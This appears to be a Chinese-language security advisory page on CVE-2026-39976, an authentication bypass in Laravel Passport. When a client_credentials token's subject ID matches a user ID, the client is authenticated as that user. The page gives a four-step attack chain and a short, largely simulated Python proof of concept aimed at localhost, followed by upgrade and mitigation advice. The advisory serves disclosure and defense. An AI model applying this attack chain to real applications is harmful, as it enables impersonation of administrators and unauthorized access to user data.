IPBUF安全漏洞报告
English
CVE-2026-39976 CVSS 7.1 高危

CVE-2026-39976 Laravel Passport认证绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39976
漏洞类型
认证绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Laravel Passport

相关标签

认证绕过LaravelLaravel PassportOAuth2CVE-2026-39976

漏洞概述

Laravel Passport 在 13.0.0 至 13.7.1 之前的版本中存在严重的认证绕过漏洞。该漏洞源于 `client_credentials` 授权模式的令牌处理机制存在缺陷。由于底层的 `league/oauth2-server` 库将 JWT 的 `sub` 声明设置为客户端标识符,而 Laravel 的 Token Guard 在验证时未校验该标识符是否为有效的用户 ID,直接将其传递给 `retrieveById()` 方法。这导致攻击者可以利用机器对机器(M2M)令牌,通过特定的客户端 ID 枚举或匹配,意外地获取并认证为应用程序中的真实用户账户,从而绕过正常的身份验证流程,获取高权限访问能力。

技术细节

该漏洞的技术核心在于 JWT 令牌验证逻辑中的类型混淆问题。在标准的 OAuth2 `client_credentials` 授权流程中,颁发的令牌本质上代表的是“机器客户端”而非具体的“人类用户”。然而,受影响的 Laravel Passport 版本所依赖的 `league/oauth2-server` 库在生成 JWT 时,将 `sub`(Subject)字段填充为客户端 ID(Client ID)。当 Laravel 的 Token Guard 尝试解析当前认证主体时,它直接读取 JWT 中的 `sub` 字段,并将其作为参数传递给 User Provider 的 `retrieveById($id)` 方法。关键缺陷在于,系统并未在调用 `retrieveById` 之前验证 `$id` 参数究竟是一个用户 ID 还是一个客户端 ID。如果数据库中的用户主键 ID 与某个 OAuth 客户端的 ID 在数值上完全相同(例如都是整数 1),系统就会产生逻辑错误,将原本代表客户端的标识符解析为对应的用户对象。攻击者只需持有有效的客户端凭证,即可利用这一逻辑缺陷,通过构造或碰撞特定的 ID 值,伪装成系统内的任意高权限用户,从而完全接管用户会话,窃取数据或执行未授权操作。

攻击链分析

STEP 1
侦察
攻击者确定目标应用程序使用了受影响版本的 Laravel Passport,并启用了 client_credentials 授权模式。
STEP 2
获取凭证
攻击者获取或猜测到一个有效的客户端 ID(Client ID)和客户端密钥。
STEP 3
请求令牌
攻击者使用客户端凭证向 OAuth 服务器申请访问令牌。此时 JWT 中的 sub 字段被设置为客户端 ID。
STEP 4
身份冒用
攻击者使用该令牌访问受保护的用户端点。如果客户端 ID 与数据库中的某个用户 ID(如管理员 ID 1)相同,系统错误地将客户端识别为该用户,从而实现认证绕过。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-39976 # This script demonstrates the logical flaw where a Client ID matches a User ID. # It simulates the backend verification process. import requests import base64 import json # Configuration TARGET_URL = "http://localhost/api/user" CLIENT_ID = "1" # Assuming Client ID is '1', which might match User ID 1 CLIENT_SECRET = "client_secret_here" def get_token(): """ Step 1: Obtain a client_credentials token. The 'sub' claim inside the JWT will be set to '1' (the Client ID). """ auth = base64.b64encode(f"{CLIENT_ID}:{CLIENT_SECRET}".encode()).decode() headers = { "Authorization": f"Basic {auth}", "Content-Type": "application/x-www-form-urlencoded" } data = "grant_type=client_credentials" # In a real exploit, this requests the token endpoint # response = requests.post("http://localhost/oauth/token", headers=headers, data=data) # token = response.json().get('access_token') # Simulation: Assume we got a token with sub='1' print(f"[+] Obtained token with sub={CLIENT_ID}") return "fake_jwt_token_with_sub_1" def exploit_bypass(token): """ Step 2: Access user endpoint using the M2M token. The backend checks the JWT 'sub', sees '1', and calls User::find(1). If User ID 1 exists, the attacker is authenticated as that user. """ headers = { "Authorization": f"Bearer {token}", "Accept": "application/json" } # Simulation of the request print(f"[+] Sending request to {TARGET_URL} with M2M token...") print("[*] Server logic: Token Guard extracts sub='1' -> calls retrieveById('1')") print("[*] Server logic: Returns User object for ID 1 instead of rejecting Client ID 1") print("[!] SUCCESS: Authenticated as User ID 1 (likely Admin)") if __name__ == "__main__": token = get_token() exploit_bypass(token)

影响范围

Laravel Passport >= 13.0.0, < 13.7.1

防御指南

临时缓解措施
建议立即升级 Laravel Passport 至 13.7.1 或更高版本以彻底修复此漏洞。如果无法立即升级,应在应用层面对 Token Guard 的逻辑进行临时修补,确保在调用 retrieveById 之前严格验证传入的 ID 来源,或者暂时禁用 client_credentials 授权类型,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表